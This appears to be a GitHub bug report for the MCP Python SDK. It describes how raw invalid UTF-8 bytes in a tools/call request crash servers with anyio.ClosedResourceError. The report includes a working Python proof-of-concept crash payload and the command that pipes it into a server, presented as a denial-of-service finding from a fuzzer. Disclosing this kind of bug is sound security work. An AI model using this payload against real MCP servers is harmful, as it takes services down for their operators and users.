René's URL Explorer Experiment

{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"[Bug] Server crashes with anyio.ClosedResourceError when receiving raw invalid UTF-8 bytes","articleBody":"### Initial Checks\n\n- [x] I confirm that I'm using the latest version of MCP Python SDK\n- [x] I confirm that I searched for my issue in https://github.com/modelcontextprotocol/python-sdk/issues before opening this issue\n\n### Description\n\n## Summary\nMCP Python SDK servers crash with `anyio.ClosedResourceError` when a client sends raw invalid UTF-8 bytes in request parameters. A malicious client can crash any MCP server using a single request.\n\n## Environment\n- **MCP SDK Version**: 1.26.0 (latest)\n- **Python**: 3.13\n- **OS**: Windows 11\n\n## Proof of Concept\n\nSave as `crash_poc.py`:\n```python\nimport sys\nimport time\n\n# Initialize\nsys.stdout.buffer.write(b'{\"jsonrpc\": \"2.0\", \"id\": 1, \"method\": \"initialize\", \"params\": {\"protocolVersion\": \"2024-11-05\", \"capabilities\": {}, \"clientInfo\": {\"name\": \"test\", \"version\": \"1.0\"}}}\\n')\nsys.stdout.flush()\ntime.sleep(1)\n\n# Initialized notification\nsys.stdout.buffer.write(b'{\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\"}\\n')\nsys.stdout.flush()\ntime.sleep(0.5)\n\n# Crash payload - raw bytes 0xFF 0xFE\nsys.stdout.buffer.write(b'{\"jsonrpc\": \"2.0\", \"id\": 3, \"method\": \"tools/call\", \"params\": {\"name\": \"fetch\", \"arguments\": {\"url\": \"http://x\\xff\\xfe\"}}}\\n')\nsys.stdout.flush()\ntime.sleep(3)\n```\n\nRun:\n```bash\npython crash_poc.py | python -m mcp_server_fetch\n```\n\n## Stack Trace\n```\nFile \"...\\mcp\\server\\lowlevel\\server.py\", line 781, in _handle_request\n    await message.respond(response)\nFile \"...\\mcp\\shared\\session.py\", line 349, in _send_response\n    await self._write_stream.send(session_message)\nFile \"...\\anyio\\streams\\memory.py\", line 218, in send_nowait\n    raise ClosedResourceError\nanyio.ClosedResourceError\n```\n\n## Key Observation\n- String `\"http://x[0xff][0xfe]\"` → handled gracefully with validation error ✅\n- Raw bytes `b\"http://x\\xff\\xfe\"` → server crash ❌\n\n## Expected Behavior\nThe server should return a JSON-RPC error response for malformed input, not crash.\n\n## Impact\n**Denial of Service** - Any MCP client can crash any MCP server using the Python SDK with a single malformed request.\n\n## Discovery\nFound using [mcpsec](https://github.com/manthanghasadiya/mcpsec) evolutionary fuzzer.\n\n### Example Code\n\n```Python\n\n```\n\n### Python \u0026 MCP Python SDK\n\n```Text\npython --version\nPython 3.13.1\n\npip show mcp | Select-String \"Version.\"\nVersion: 1.26.0\n```","author":{"url":"https://github.com/manthanghasadiya","@type":"Person","name":"manthanghasadiya"},"datePublished":"2026-03-22T05:33:37.000Z","interactionStatistic":{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":2},"url":"https://github.com/2328/python-sdk/issues/2328"}